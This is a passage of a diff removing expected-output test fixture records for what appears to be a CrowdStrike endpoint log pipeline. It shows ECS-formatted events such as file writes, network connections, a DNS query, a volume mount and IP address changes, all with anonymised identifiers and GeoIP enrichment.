-                "original": "{\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1625677528.570\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364783686797112486\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"FileIdentifier\":\"04000001000000000000000000000000986b480e00000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"JavaClassFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff083845f68a7de3d95cb34361\",\"timestamp\":\"1625677528717\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling",
-                "extension": "class",
-                "inode": "04000001000000000000000000000000986b480e00000000",
-                "name": "TeamsPlugin$apply$$inlined$configure$1.class",
-                "path": "/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class",
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffff083845f68a7de3d95cb34361",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "JavaClassFileWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff083845f68a7de3d95cb34361",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364783686797112486",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:12.892Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "364796317497854624",
-                "ContextTimeStamp": "2021-07-07T17:05:12.700Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "0.0.0.0"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27",
-                "name": "NetworkConnectIP4MacV10"
-            },
-            "destination": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 443
-            },
-            "device": {
-                "id": "ffffffff96f142f6b2475f3c584ddd80"
-            },
-            "event": {
-                "action": "NetworkConnectIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:12.892Z",
-                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff96f142f6b2475f3c584ddd80|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkConnectIP4\",\"ContextTimeStamp\":\"1625677512.700\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"364796317497854624\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"0\",\"Entitlements\":\"15\",\"name\":\"NetworkConnectIP4MacV10\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff96f142f6b2475f3c584ddd80\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"0\",\"InContext\":\"0\",\"timestamp\":\"1625677512892\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "start",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff96f142f6b2475f3c584ddd80",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NetworkConnectIP4",
-            "network": {
-                "direction": "outbound",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff96f142f6b2475f3c584ddd80",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364796317497854624"
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0.0.0.0"
-                ]
-            },
-            "source": {
-                "address": "0.0.0.0",
-                "ip": "0.0.0.0",
-                "port": 0
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:36.111Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "364977197365370629",
-                "ContextTimeStamp": "2021-07-07T17:04:35.806Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9644-060415b1fd87",
-                "name": "DnsRequestMacV1"
-            },
-            "device": {
-                "id": "ffffffff7ecf4e61bba14ca5ac5d17b1"
-            },
-            "dns": {
-                "question": {
-                    "name": "jss.dom1.com",
-                    "registered_domain": "dom1.com",
-                    "subdomain": "jss",
-                    "top_level_domain": "com",
-                    "type": "AAAA"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "DnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:04:36.111Z",
-                "id": "ffffffff-1111-11eb-9644-060415b1fd87|ffffffff7ecf4e61bba14ca5ac5d17b1|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1625677475.806\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364977197365370629\",\"DomainName\":\"jss.dom1.com\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"DnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-9644-060415b1fd87\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff7ecf4e61bba14ca5ac5d17b1\",\"timestamp\":\"1625677476111\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"28\"}",
-                "outcome": "success",
-                "type": [
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "ffffffff7ecf4e61bba14ca5ac5d17b1",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "DnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff7ecf4e61bba14ca5ac5d17b1",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "364977197365370629",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:40.055Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1620585913",
-                "ContextProcessId": "365053504406857894",
-                "ContextTimeStamp": "2021-07-07T17:05:04.770Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "SHA256HashData": "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9",
-                "name": "NewScriptWrittenMacV2"
-            },
-            "device": {
-                "id": "ffffffffbea440b9aad8b5bf222d303f"
-            },
-            "event": {
-                "action": "NewScriptWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:40.055Z",
-                "id": "ffffffff-1111-11eb-b3de-06a53f021cc9|ffffffffbea440b9aad8b5bf222d303f|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"NewScriptWritten\",\"ContextTimeStamp\":\"1625677504.770\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"365053504406857894\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9\",\"FileIdentifier\":\"05000001000000000000000000000000b588050000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"NewScriptWrittenMacV2\",\"id\":\"ffffffff-1111-11eb-b3de-06a53f021cc9\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffbea440b9aad8b5bf222d303f\",\"timestamp\":\"1625677540055\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/BitBar/countdown_timer.1s.py\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/Applications/BitBar",
-                "extension": "py",
-                "inode": "05000001000000000000000000000000b588050000000000",
-                "name": "countdown_timer.1s.py",
-                "path": "/Applications/BitBar/countdown_timer.1s.py",
-                "size": 0,
-                "type": "file"
-            },
-            "host": {
-                "id": "ffffffffbea440b9aad8b5bf222d303f",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "NewScriptWritten",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffbea440b9aad8b5bf222d303f",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365053504406857894",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9",
-                    "1620585913"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:26.386Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1156120155",
-                "InterfaceIndex": 186,
-                "LocalAddressIP6": [
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-b3c1-02ff598b7945",
-                "name": "LocalIpAddressRemovedIP6LinV1"
-            },
-            "device": {
-                "id": "ffffffffbfbf4ff5aa56a26ad3c1a942"
-            },
-            "event": {
-                "action": "LocalIpAddressRemovedIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:26.386Z",
-                "id": "ffffffff-1111-11eb-b3c1-02ff598b7945|ffffffffbfbf4ff5aa56a26ad3c1a942|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"InterfaceIndex\":\"186\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"LocalIpAddressRemovedIP6\",\"event_platform\":\"Lin\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1156120155\",\"name\":\"LocalIpAddressRemovedIP6LinV1\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-b3c1-02ff598b7945\",\"aid\":\"ffffffffbfbf4ff5aa56a26ad3c1a942\",\"timestamp\":\"1625677526386\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffffbfbf4ff5aa56a26ad3c1a942",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "LocalIpAddressRemovedIP6",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffbfbf4ff5aa56a26ad3c1a942",
-                "version": "1007.8.0011611.1"
-            },
-            "related": {
-                "hash": [
-                    "1156120155"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-                ]
-            },
-            "source": {
-                "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:00.089Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365053555029062046",
-                "ContextTimeStamp": "2021-07-07T17:04:59.994Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "Flags": "0",
-                "UnixMode": "0",
-                "VnodeType": "2",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1",
-                "name": "DirectoryCreateMacV1"
-            },
-            "device": {
-                "id": "ffffffff24db47799d1a85aae61dc7bc"
-            },
-            "event": {
-                "action": "DirectoryCreate",
-                "category": [
-                    "file"
-                ],
-                "created": "2021-07-07T17:05:00.089Z",
-                "id": "ffffffff-1111-11eb-92d2-0286f570f8e1|ffffffff24db47799d1a85aae61dc7bc|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1625677499.994\",\"GID\":\"0\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053555029062046\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"event_platform\":\"Mac\",\"UnixMode\":\"0\",\"Entitlements\":\"15\",\"name\":\"DirectoryCreateMacV1\",\"id\":\"ffffffff-1111-11eb-92d2-0286f570f8e1\",\"VnodeType\":\"2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff24db47799d1a85aae61dc7bc\",\"TargetDirectoryName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\",\"timestamp\":\"1625677500089\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS",
-                "name": "2F71C2D4-D215-453E-BF4C-D6C037502871",
-                "path": "/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871",
-                "type": "dir"
-            },
-            "host": {
-                "id": "ffffffff24db47799d1a85aae61dc7bc",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "DirectoryCreate",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff24db47799d1a85aae61dc7bc",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365053555029062046",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:17.986Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1479784503",
-                "ConnectionFlags": "0",
-                "ContextProcessId": "84424232977619",
-                "ContextTimeStamp": "2021-07-07T17:05:17.658Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InContext": "0",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9015-02e89cda7d5f",
-                "name": "NetworkCloseIP4LinV6"
-            },
-            "destination": {
-                "address": "67.43.156.13",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.13",
-                "port": 443
-            },
-            "device": {
-                "id": "ffffffff58de4e748d9f64c85a9b49e6"
-            },
-            "event": {
-                "action": "NetworkCloseIP4",
-                "category": [
-                    "network"
-                ],
-                "created": "2021-07-07T17:05:17.986Z",
-                "id": "ffffffff-1111-11eb-9015-02e89cda7d5f|ffffffff58de4e748d9f64c85a9b49e6|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"NetworkCloseIP4\",\"ContextTimeStamp\":\"1625677517.658\",\"ConfigStateHash\":\"1479784503\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"84424232977619\",\"RemotePort\":\"443\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"40394\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP4LinV6\",\"id\":\"ffffffff-1111-11eb-9015-02e89cda7d5f\",\"Protocol\":\"6\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff58de4e748d9f64c85a9b49e6\",\"RemoteAddressIP4\":\"67.43.156.13\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677517986\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "unknown",
-                "type": [
-                    "end",
-                    "connection"
-                ]
-            },
-            "host": {
-                "id": "ffffffff58de4e748d9f64c85a9b49e6",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "NetworkCloseIP4",
-            "network": {
-                "community_id": "1:UVftVVD3gVlBx8wJQBdaiJYrD6A=",
-                "direction": "unknown",
-                "iana_number": "6",
-                "transport": "tcp"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff58de4e748d9f64c85a9b49e6",
-                "version": "1007.8.0011308.1"
-            },
-            "process": {
-                "entity_id": "84424232977619"
-            },
-            "related": {
-                "hash": [
-                    "1479784503"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "67.43.156.13"
-                ]
-            },
-            "source": {
-                "address": "67.43.156.14",
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.14",
-                "port": 40394
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:04:56.804Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3090255842",
-                "ContextProcessId": "365053546767850587",
-                "ContextTimeStamp": "2021-07-07T17:04:56.750Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "VolumeAppearanceTime": "1625677422.647",
-                "VolumeBusName": "IONVMeController",
-                "VolumeBusPath": "IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController",
-                "VolumeDeviceInternal": "1",
-                "VolumeDeviceModel": "APPLE SSD SM0256L",
-                "VolumeDevicePath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1",
-                "VolumeDeviceProtocol": "PCI-Express",
-                "VolumeDeviceRevision": "CXS4LA0Q",
-                "VolumeFileSystemDriver": "apfs",
-                "VolumeIsNetwork": "0",
-                "VolumeMediaBSDMajor": "1",
-                "VolumeMediaBSDMinor": "8",
-                "VolumeMediaBSDName": "disk1s3",
-                "VolumeMediaBSDUnit": "1",
-                "VolumeMediaContent": "41504653-0000-11AA-AA11-00306543ECAC",
-                "VolumeMediaEjectable": "0",
-                "VolumeMediaName": "AppleAPFSMedia",
-                "VolumeMediaPath": "IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3",
-                "VolumeMediaRemovable": "0",
-                "VolumeMediaSize": "250685575168",
-                "VolumeMediaUUID": "AD0F4085-F901-4204-8C5D-441F365D4909",
-                "VolumeMediaWhole": "0",
-                "VolumeMediaWritable": "1",
-                "VolumeMountPoint": "/Volumes/Recovery",
-                "VolumeName": "Recovery",
-                "VolumeSectorSize": "4096",
-                "VolumeType": "APFS",
-                "VolumeUUID": "85400FAD-01F9-0442-8C5D-441F365D4909",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-956a-02748d01bd3d",
-                "name": "FsVolumeMountedMacV1"
-            },
-            "device": {
-                "id": "ffffffff8eca418b7a861be9c5f7de1d"
-            },
-            "event": {
-                "action": "FsVolumeMounted",
-                "category": [
-                    "host"
-                ],
-                "created": "2021-07-07T17:04:56.804Z",
-                "id": "ffffffff-1111-11eb-956a-02748d01bd3d|ffffffff8eca418b7a861be9c5f7de1d|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "event",
-                "original": "{\"VolumeMediaName\":\"AppleAPFSMedia\",\"VolumeDeviceProtocol\":\"PCI-Express\",\"VolumeDeviceVendor\":\"\",\"ContextThreadId\":\"0\",\"VolumeMediaContent\":\"41504653-0000-11AA-AA11-00306543ECAC\",\"VolumeMediaEjectable\":\"0\",\"aip\":\"67.43.156.14\",\"VolumeAppearanceTime\":\"1625677422.647\",\"VolumeDeviceModel\":\"APPLE SSD SM0256L\",\"VolumeMediaBSDName\":\"disk1s3\",\"VolumeMountPoint\":\"/Volumes/Recovery\",\"event_platform\":\"Mac\",\"VolumeType\":\"APFS\",\"VolumeMediaRemovable\":\"0\",\"VolumeMediaBSDUnit\":\"1\",\"VolumeFileSystemDriver\":\"apfs\",\"id\":\"ffffffff-1111-11eb-956a-02748d01bd3d\",\"VolumeMediaSize\":\"250685575168\",\"EffectiveTransmissionClass\":\"2\",\"VolumeBusName\":\"IONVMeController\",\"timestamp\":\"1625677496804\",\"VolumeMediaBSDMinor\":\"8\",\"VolumeMediaWritable\":\"1\",\"event_simpleName\":\"FsVolumeMounted\",\"VolumeDevicePath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1\",\"VolumeName\":\"Recovery\",\"ContextTimeStamp\":\"1625677496.750\",\"VolumeSectorSize\":\"4096\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053546767850587\",\"VolumeBusPath\":\"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController\",\"VolumeDeviceInternal\":\"1\",\"ConfigBuild\":\"1007.4.0013701.1\",\"VolumeUUID\":\"85400FAD-01F9-0442-8C5D-441F365D4909\",\"VolumeDeviceRevision\":\"CXS4LA0Q\",\"Entitlements\":\"15\",\"name\":\"FsVolumeMountedMacV1\",\"VolumeMediaBSDMajor\":\"1\",\"VolumeMediaPath\":\"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3\",\"aid\":\"ffffffff8eca418b7a861be9c5f7de1d\",\"VolumeMediaUUID\":\"AD0F4085-F901-4204-8C5D-441F365D4909\",\"VolumeMediaWhole\":\"0\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"VolumeIsNetwork\":\"0\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff8eca418b7a861be9c5f7de1d",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "FsVolumeMounted",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff8eca418b7a861be9c5f7de1d",
-                "version": "1007.4.0013701.1"
-            },
-            "process": {
-                "entity_id": "365053546767850587",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3090255842"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2021-07-07T17:05:14.374Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1156120155",
-                "InterfaceAlias": "eth0",
-                "InterfaceIndex": 2,
-                "InterfaceType": "1",
-                "LocalAddressIP4": [
-                    "67.43.156.14"
-                ],
-                "PhysicalAddressLength": 6,
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
-                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27",
-                "name": "LocalIpAddressIP4LinV1"
-            },
-            "device": {
-                "id": "ffffffff190e436aaebc3892bcda5beb"
-            },
-            "event": {
-                "action": "LocalIpAddressIP4",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2021-07-07T17:05:14.374Z",
-                "id": "ffffffff-1111-11eb-9c94-0222a21bbb27|ffffffff190e436aaebc3892bcda5beb|ffffffff15754bcfb5f9152ec7ac90ac",
-                "kind": "state",
-                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressIP4\",\"ConfigStateHash\":\"1156120155\",\"CreationTimeStamp\":\"1625677513.841\",\"aip\":\"67.43.156.14\",\"PhysicalAddress\":\"0e-d6-ff-ff-ff-63\",\"InterfaceAlias\":\"eth0\",\"InterfaceIndex\":\"2\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"InterfaceType\":\"1\",\"name\":\"LocalIpAddressIP4LinV1\",\"id\":\"ffffffff-1111-11eb-9c94-0222a21bbb27\",\"PhysicalAddressLength\":\"6\",\"aid\":\"ffffffff190e436aaebc3892bcda5beb\",\"timestamp\":\"1625677514374\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "ffffffff190e436aaebc3892bcda5beb",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "LocalIpAddressIP4",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
